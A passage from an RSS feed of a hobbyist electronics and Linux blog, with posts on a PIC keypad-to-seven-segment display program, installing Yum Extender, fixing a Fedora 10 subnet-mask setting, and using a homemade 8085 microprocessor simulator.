rgb(255, 204, 0);"&gt;case 1: PORTD = 0b11111010;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 2: PORTD = 0b00100100;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 3: PORTD = 0b00110000;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 4: PORTD = 0b10010010;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 5: PORTD = 0b00010001;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 6: PORTD = 0b00000001;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 7: PORTD = 0b11111000;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 8: PORTD = 0b00000000;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 9: PORTD = 0b10010000;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;case 10: PORTD = 0b11111111;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;default :&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;PORTD = 0b11111111;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;break;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-style-span"  style="font-size:small;"&gt;&lt;span class="Apple-style-span" style="color: rgb(255, 204, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;PORTD is used as the output port ,ie the seven segment display to display the number corresponding to the pressed pin on PORTB.PORTB is normally connected to VCC through a pullup (10k). Each pin is gnded to detect a key press .A switch is connected between the pin and the gnd.The ckt detects the first key pressed among 8 keys and displays the keynumber on seven segment.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-7499510684481840777?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/emFF3O5DBXaqgnXiVmaAhcTxa6E/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/emFF3O5DBXaqgnXiVmaAhcTxa6E/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/emFF3O5DBXaqgnXiVmaAhcTxa6E/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/emFF3O5DBXaqgnXiVmaAhcTxa6E/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/TatfZVvHTYw" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/TatfZVvHTYw/simple-buzzer-circuit-using-pic-18f4550.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_XTElFWnvKxw/SWs9FdpMBFI/AAAAAAAAAY4/WmYUoKzSY8M/s72-c/picdem.JPG" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2009/01/simple-buzzer-circuit-using-pic-18f4550.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-7672057127730304101</guid><pubDate>Mon, 22 Dec 2008 17:37:00 +0000</pubDate><atom:updated>2009-05-07T10:45:50.697-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Linux (fedora)</category><title>Yum Extender (2.0.4)</title><description>&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: times new roman;"&gt;The yum  tool is one of the most common utilities used to keep Linux up to date.A graphical tool for updating the fedora is Yum Extender. We can install the yum extender using the command&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-family: times new roman;"&gt;$ yum install yumex&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-family: times new roman;"&gt;&lt;span style="color: rgb(51, 0, 0);"&gt;After installation we can run&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-family: times new roman;"&gt;&lt;span style="color: rgb(51, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$ yumex &amp;amp; &lt;span style="color: rgb(0, 0, 0);"&gt;to launch the yum extender&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0); font-family: times new roman;"&gt;&lt;span style="color: rgb(51, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;or we can goto Applications&gt; System tools &gt; yum extender&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(51, 0, 0);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_XTElFWnvKxw/SU_aa77sBQI/AAAAAAAAAYg/JAoJ4z7JnJk/s1600-h/Screenshot-1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://1.bp.blogspot.com/_XTElFWnvKxw/SU_aa77sBQI/AAAAAAAAAYg/JAoJ4z7JnJk/s400/Screenshot-1.png" alt="" id="BLOGGER_PHOTO_ID_5282681044228375810" border="0" /&gt;&lt;/a&gt;&lt;span style="color: rgb(255, 0, 0); font-family: times new roman;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Useful tabs of yumex are an update tab on the top left&lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: times new roman;"&gt; &lt;/span&gt;&lt;span style="color: rgb(255, 0, 0); font-family: times new roman;"&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;then a group view and an o/p view.From first tab we can select/search  the package.From the group view tab we can view the packages by their respective groups,like applications , entertainment, education etc.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_XTElFWnvKxw/SU_enFTTeTI/AAAAAAAAAYw/WRPN7g4hQq8/s1600-h/updates.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://1.bp.blogspot.com/_XTElFWnvKxw/SU_enFTTeTI/AAAAAAAAAYw/WRPN7g4hQq8/s400/updates.png" alt="" id="BLOGGER_PHOTO_ID_5282685650948290866" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: times new roman;"&gt;It can also be used to remove packages. It keeps track of the installed and available packages.Up to 60% it completes the downloading , in case of adding a package, and the rest is for installing the package.Also when a long list is given to it , it does the downloading in the order of size of the packages ( increasing order of size).&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_XTElFWnvKxw/SU_eMLFA9GI/AAAAAAAAAYo/dwdiWEqn8Z4/s1600-h/Screenshot-5.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://2.bp.blogspot.com/_XTElFWnvKxw/SU_eMLFA9GI/AAAAAAAAAYo/dwdiWEqn8Z4/s400/Screenshot-5.png" alt="" id="BLOGGER_PHOTO_ID_5282685188642501730" border="0" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-7672057127730304101?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/eN0P1RivT6WwyJf-_z-x4gjBMrY/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eN0P1RivT6WwyJf-_z-x4gjBMrY/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/eN0P1RivT6WwyJf-_z-x4gjBMrY/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/eN0P1RivT6WwyJf-_z-x4gjBMrY/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/b5AsuWdrYn8" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/b5AsuWdrYn8/yum-extender.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/_XTElFWnvKxw/SU_aa77sBQI/AAAAAAAAAYg/JAoJ4z7JnJk/s72-c/Screenshot-1.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/12/yum-extender.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-7054640435611151767</guid><pubDate>Tue, 02 Dec 2008 17:52:00 +0000</pubDate><atom:updated>2009-05-07T23:47:06.528-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Linux (fedora)</category><title>A new look , a new system, its Fedora 10</title><description>&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: times new roman;"&gt;Here is a new look with my Acer aspire 4730Z, using fedora 10.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_XTElFWnvKxw/STV3o7bd8rI/AAAAAAAAAX4/bXrnAytMm8o/s1600-h/Screenshot.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://4.bp.blogspot.com/_XTElFWnvKxw/STV3o7bd8rI/AAAAAAAAAX4/bXrnAytMm8o/s400/Screenshot.png" alt="" id="BLOGGER_PHOTO_ID_5275254083565777586" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: times new roman;"&gt;Even though there was a bug with the fedora 10 it looks fine.The bug is that the network manager and  network GUI setting is not changing the subnet mask Then we change the subnet mask in GUI.The bug can be fixed manually by disabling the network manager from System&gt;administration&gt;services&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Become substitute user(su) and login as root,&lt;/span&gt; &lt;span style="font-family: times new roman;"&gt;then goto the /etc/sysconfig/networking/profiles/default/&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span style="font-family: times new roman;"&gt;using&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt; cd /etc/sysconfig/networking/profiles/default/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;edit the file ifcfg-eth0 using gedit or any other editor&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;gedit ifcfg-eth0&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;it looks like this&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;# Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;DEVICE=eth0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;BOOTPROTO=none&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;HWADDR="mac"&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;ONBOOT=yes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;NM_CONTROLLED=no&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;NETMASK=255.255.255.0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;IPADDR=192.168.11.130&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;GATEWAY=192.168.11.123&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;TYPE=Ethernet&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;USERCTL=yes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;PEERDNS=yes&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 102, 102);"&gt;IPV6INIT=no&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;add the line in blue text if there is no such text,then save the file and run the binary ifdown eth0 in sbin&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;/sbin/ifdown eth0&lt;/span&gt;&lt;br /&gt;then&lt;br /&gt;&lt;span style="color: rgb(51, 204, 0);"&gt;/sbin/ifup eth0&lt;/span&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;now we will be getting the connection.To configure the yum we need to configure the yum.conf file in etc ,if there is a proxy server&lt;br /&gt;add a line&lt;br /&gt;&lt;/div&gt;&lt;span style="color: rgb(0, 0, 153);"&gt;proxy=http://(IP eg:192.168.1.1 etc):port number/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;save the file and use yum install something in shell.Use the same settings for wlan to configure Wifi.In fedora 9 the driver for my atheros was not there but for fedora 10 release the driver got automatically installed on upgradation from fedora 9 to fedora 10.Here is a set of pictures from fedora 10, I have configured fedora 10 to look like a new one.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_XTElFWnvKxw/STWBR7IRwdI/AAAAAAAAAYA/NKPiLaR257E/s1600-h/1.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://4.bp.blogspot.com/_XTElFWnvKxw/STWBR7IRwdI/AAAAAAAAAYA/NKPiLaR257E/s400/1.png" alt="" id="BLOGGER_PHOTO_ID_5275264683464573394" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_XTElFWnvKxw/STWCJJxIiUI/AAAAAAAAAYI/yPox6x2jn-I/s1600-h/Screenshot-2.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 250px;" src="http://4.bp.blogspot.com/_XTElFWnvKxw/STWCJJxIiUI/AAAAAAAAAYI/yPox6x2jn-I/s400/Screenshot-2.png" alt="" id="BLOGGER_PHOTO_ID_5275265632286837058" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_XTElFWnvKxw/STWCsokIkoI/AAAAAAAAAYQ/hKgtcKdIask/s1600-h/Screenshot-Trasher+-+File+Browser.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 270px;" src="http://2.bp.blogspot.com/_XTElFWnvKxw/STWCsokIkoI/AAAAAAAAAYQ/hKgtcKdIask/s400/Screenshot-Trasher+-+File+Browser.png" alt="" id="BLOGGER_PHOTO_ID_5275266241849234050" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_XTElFWnvKxw/STWDpp0vqgI/AAAAAAAAAYY/WVeL-OI28e0/s1600-h/Screenshot-Trasher%40localhost:-etc.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 249px;" src="http://1.bp.blogspot.com/_XTElFWnvKxw/STWDpp0vqgI/AAAAAAAAAYY/WVeL-OI28e0/s400/Screenshot-Trasher%40localhost:-etc.png" alt="" id="BLOGGER_PHOTO_ID_5275267290159360514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;To enable the desktop effects in fedora 10 goto system&gt;preferences&gt;look and feel&gt;desktop effects&gt;enable desktop effects.Use alt+ctrl+arrow keys to rotate the desktop.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5146068729005753248-7054640435611151767?l=electronicerror.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/Y95bUSJk044HYSNjLif-czUt-5g/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Y95bUSJk044HYSNjLif-czUt-5g/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/Y95bUSJk044HYSNjLif-czUt-5g/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/Y95bUSJk044HYSNjLif-czUt-5g/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/electronicerror/~4/sdUUXyW8UL0" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/blogspot/electronicerror/~3/sdUUXyW8UL0/new-look-new-system-its-fedora-10.html</link><author>raviegg@gmail.com (Raveendra Pai G)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_XTElFWnvKxw/STV3o7bd8rI/AAAAAAAAAX4/bXrnAytMm8o/s72-c/Screenshot.png" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total><feedburner:origLink>http://electronicerror.blogspot.com/2008/12/new-look-new-system-its-fedora-10.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-5146068729005753248.post-8126060979945484263</guid><pubDate>Sun, 23 Nov 2008 15:55:00 +0000</pubDate><atom:updated>2009-05-07T23:54:04.671-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">8085sim</category><title>8085 Simulator for Windows (32 -bit)/ Linux</title><description>&lt;div style="text-align: justify;"&gt;&lt;span style="font-family: times new roman;"&gt;8085sim is a potential product for 8085 microprocessor instruction set simulation.The simulators for both Win(32-bit)/Linux are uploaded &lt;/span&gt;&lt;a style="font-family: times new roman;" href="http://www.mediafire.com/download.php?mliyjin1m2s"&gt;here&lt;/a&gt;&lt;span style="font-family: times new roman;"&gt;The simulator for win is 8085sim.exe and for linux its named as 8085sim.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;font-size:130%;" &gt;&lt;span style="color: rgb(255, 0, 0); font-weight: bold;"&gt;For Windows &lt;/span&gt;&lt;/span&gt;&lt;span style="font-family: times new roman;"&gt;:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Copy the 8085sim.exe to any folder named 8085 or anything.It is necessary to copy this to a folder, otherwise the files created by the 8085sim.exe will get scattered around the environment folder.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Run the file&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;First we will be facing a main menu having 10 options.Select one of them using 1 to 10 numbers.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_XTElFWnvKxw/SSmRzWGPJgI/AAAAAAAAAQw/CnzCo2YxRnY/s1600-h/mainmenu%2Bcodeeditor.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 386px;" src="http://4.bp.blogspot.com/_XTElFWnvKxw/SSmRzWGPJgI/AAAAAAAAAQw/CnzCo2YxRnY/s400/mainmenu%2Bcodeeditor.JPG" alt="" id="BLOGGER_PHOTO_ID_5271905150104970754" border="0" /&gt;&lt;/a&gt;&lt;span style="color: rgb(51, 51, 255); font-family: times new roman;font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;Code editor(2) &amp;amp; Memory editor (1)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Image above shows the main menu.number 2 is enetered for the code editor we type in the hex code (no need to put H at the end to indicate hex) of the instructions and will at last put a 76H(HLT)instruction.HLT is a must for a program entered in 8085sim.Without an HLT (76H)8085sim will execute infinite loops , so is the case for real hardware.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;When we get into the code editor the&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify; font-family: times new roman;"&gt;Codeeditor&gt;&gt;$ ORIGIN :&lt;br /&gt;comes we have to type in the origin or starting address for the hexcode entry.&lt;br /&gt;After the entry it prints the mapoffset and pc content&lt;br /&gt;For the mem editor the pc will be different than the map offset.&lt;br /&gt;Memory editor provides an interface to direct editing of memory. In this case we can store an array of numbers in some address and use that address in program.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_XTElFWnvKxw/SSmUC8naEXI/AAAAAAAAAQ4/J9RzCCgssYQ/s1600-h/singlesteping.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 356px;" src="http://1.bp.blogspot.com/_XTElFWnvKxw/SSmUC8naEXI/AAAAAAAAAQ4/J9RzCCgssYQ/s400/singlesteping.JPG" alt="" id="BLOGGER_PHOTO_ID_5271907617165939058" border="0" /&gt;&lt;/a&gt;&lt;span style="font-family: times new roman;font-size:130%;" &gt;&lt;span style="font-weight: bold; color: rgb(51, 51, 255);"&gt;Single step(3) &amp;amp; Normal exe(4)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Image above shows the single stepping mode for 8085sim.After the hexcode entry by using the code editor we can use singlestepping(3) or normal exe(4), for executing the program.&lt;/span&gt; &lt;span style="font-family: times new roman;"&gt;When an instruction is executed the 8085sim diaplays all the reg contents below that after showing the instruction and address to which it has been entered.A single stepping or normal exe operation of 8085sim terminated with the execution of a 76 instruction.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_XTElFWnvKxw/SSmVPoLTeuI/AAAAAAAAARA/5EYGgSNrPhE/s1600-h/saving.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 235px;" src="http://1.bp.blogspot.com/_XTElFWnvKxw/SSmVPoLTeuI/AAAAAAAAARA/5EYGgSNrPhE/s400/saving.JPG" alt="" id="BLOGGER_PHOTO_ID_5271908934529284834" border="0" /&gt;&lt;/a&gt;&lt;span style="color: rgb(51, 51, 255); font-family: times new roman;font-size:130%;" &gt;&lt;span style="font-weight: bold;"&gt;Saving the program in harddisk(7)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;The above image shows how to save a program that has been entered and executed to harddisk.&lt;/span&gt;&lt;span style="font-family: times new roman;"&gt;The 8085 sim sets aside a memory map in RAM of the system ,for virtual 8085simulation.The memory map starts form 0000H to ffffH in hex.So it sets aside 64Kb of memory in RAM . After we leave the simulator it frees the RAM.When its been rerun it will initialise all the contents of RAM to 0H. So we need to write the entered hex code or memory content to hard disk. The purpose of save is to achieve this.We have to enter a file name and also the starting location of the code in memorymap.The saved file is created inside the folder to which the 8085sim was copied.When the file is saved successfully the 8085sim indicates it by printing the number of 8bit codes written to disk&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;----8-----File written to secondary storage device.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: times new roman;"&gt;Now we can exit the 8085sim by typing 5.&lt;/span&gt;&lt;br 